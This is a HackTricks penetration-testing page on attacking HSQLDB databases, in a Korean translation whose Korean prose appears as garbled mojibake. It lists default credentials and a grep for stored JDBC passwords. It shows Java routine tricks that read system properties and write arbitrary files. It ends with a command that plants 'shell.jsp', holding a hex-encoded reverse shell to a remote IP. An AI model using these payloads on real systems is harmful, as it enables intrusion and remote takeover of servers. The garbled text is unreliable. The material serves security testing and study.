{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ๐ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
# ๊ธฐ๋ณธ ์ ๋ณด
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**๋ Java๋ก ์์ฑ๋ ์ฃผ์ SQL ๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์์คํ
์
๋๋ค. ๋ฉ๋ชจ๋ฆฌ ๋ด ๋ฐ ๋์คํฌ ๊ธฐ๋ฐ ํ
์ด๋ธ์ ์ง์ํ๋ฉฐ, ๋ด์ฅ ๋ฐ ์๋ฒ ๋ชจ๋๋ฅผ ์ง์ํ๋ ์๊ณ ๋น ๋ฅธ ๋ค์ค ์ค๋ ๋ ๋ฐ ํธ๋์ญ์
๋ฐ์ดํฐ๋ฒ ์ด์ค ์์ง์ ์ ๊ณตํฉ๋๋ค.
**๊ธฐ๋ณธ ํฌํธ:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# ์ ๋ณด
### ๊ธฐ๋ณธ ์ค์
๊ธฐ๋ณธ์ ์ผ๋ก ์ด ์๋น์ค๋ ๋ฉ๋ชจ๋ฆฌ์์ ์คํ๋๊ฑฐ๋ localhost์ ๋ฐ์ธ๋ฉ๋์ด ์์ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค. ์ด๋ฅผ ๋ฐ๊ฒฌํ๋ค๋ฉด, ์๋ง ๋ค๋ฅธ ์๋น์ค๋ฅผ ์ด์ฉํด ์ทจ์ฝ์ ์ ์ด์ฉํ๊ณ ๊ถํ ์์น์ ์๋ํ๊ณ ์๋ ๊ฒ์
๋๋ค.
๊ธฐ๋ณธ ์๊ฒฉ ์ฆ๋ช
์ ์ผ๋ฐ์ ์ผ๋ก ๋น๋ฐ๋ฒํธ๊ฐ ์๋ `sa`์
๋๋ค.
๋ค๋ฅธ ์๋น์ค๋ฅผ ์ด์ฉํด ์ทจ์ฝ์ ์ ์ด์ฉํ๋ค๋ฉด, ๊ฐ๋ฅํ ์๊ฒฉ ์ฆ๋ช
์ ๊ฒ์ํ์ญ์์ค.
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Note the database name carefully - youโll need it to connect.
# Info Gathering
DB ์ธ์คํด์ค์ ์ฐ๊ฒฐํ๋ ค๋ฉด [HSQLDB ๋ค์ด๋ก๋](https://sourceforge.net/projects/hsqldb/files/) ํ `hsqldb/lib/hsqldb.jar`๋ฅผ ์ถ์ถํ์ธ์. `java -jar hsqldb.jar`๋ฅผ ์ฌ์ฉํ์ฌ GUI ์ฑ \(eww\)์ ์คํํ๊ณ ๋ฐ๊ฒฌ๋/์ฝํ ์๊ฒฉ ์ฆ๋ช
์ ์ฌ์ฉํ์ฌ ์ธ์คํด์ค์ ์ฐ๊ฒฐํ์ธ์.
์๊ฒฉ ์์คํ
์ ๊ฒฝ์ฐ ์ฐ๊ฒฐ URL์ ๋ค์๊ณผ ๋น์ทํ๊ฒ ๋ณด์ผ ๊ฒ์
๋๋ค: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Tricks
## Java Language Routines
HSQLDB์์ Java Language Routines๋ฅผ ์ฌ์ฉํ์ฌ Java ํด๋์ค์ ์ ์ ๋ฉ์๋๋ฅผ ํธ์ถํ ์ ์์ต๋๋ค. ํธ์ถ๋ ํด๋์ค๋ ์ ํ๋ฆฌ์ผ์ด์
์ ํด๋์ค ๊ฒฝ๋ก์ ์์ด์ผ ํฉ๋๋ค.
JRT๋ `functions` ๋๋ `procedures`์ผ ์ ์์ต๋๋ค. ํจ์๋ Java ๋ฉ์๋๊ฐ ํ๋ ์ด์์ SQL ํธํ ๊ธฐ๋ณธ ๋ณ์๋ฅผ ๋ฐํํ๋ ๊ฒฝ์ฐ SQL ๋ฌธ์ ํตํด ํธ์ถํ ์ ์์ต๋๋ค. `VALUES` ๋ฌธ์ ์ฌ์ฉํ์ฌ ํธ์ถ๋ฉ๋๋ค.
์ฐ๋ฆฌ๊ฐ ํธ์ถํ๋ ค๋ Java ๋ฉ์๋๊ฐ void๋ฅผ ๋ฐํํ๋ ๊ฒฝ์ฐ, `CALL` ๋ฌธ์ผ๋ก ํธ์ถ๋๋ ํ๋ก์์ ๋ฅผ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
## Reading Java System Properties
ํจ์ ์์ฑ:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
ํจ์ ์คํ:
```text
VALUES(getsystemproperty('user.name'))
```
You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## ํ์ผ์ ๋ด์ฉ ์ฐ๊ธฐ
JDK์ ์์นํ `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java ๊ฐ์ ฏ์ ์ฌ์ฉํ์ฌ ์ฌ์ฉ์ ์ ์ ํ๋ก์์ ๋ฅผ ํตํด 16์ง์ ์ธ์ฝ๋ฉ๋ ํญ๋ชฉ์ ๋์คํฌ์ ์ธ ์ ์์ต๋๋ค. **์ต๋ ํฌ๊ธฐ๋ 1024 ๋ฐ์ดํธ์
๋๋ค**.
ํ๋ก์์ ์์ฑ:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
ํ๋ก์์ ์คํ:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{% hint style="success" %}
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง์ํ๊ธฐ
* [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
* **๐ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํ์ ๊ณต์ ํ์ธ์.**
{% endhint %}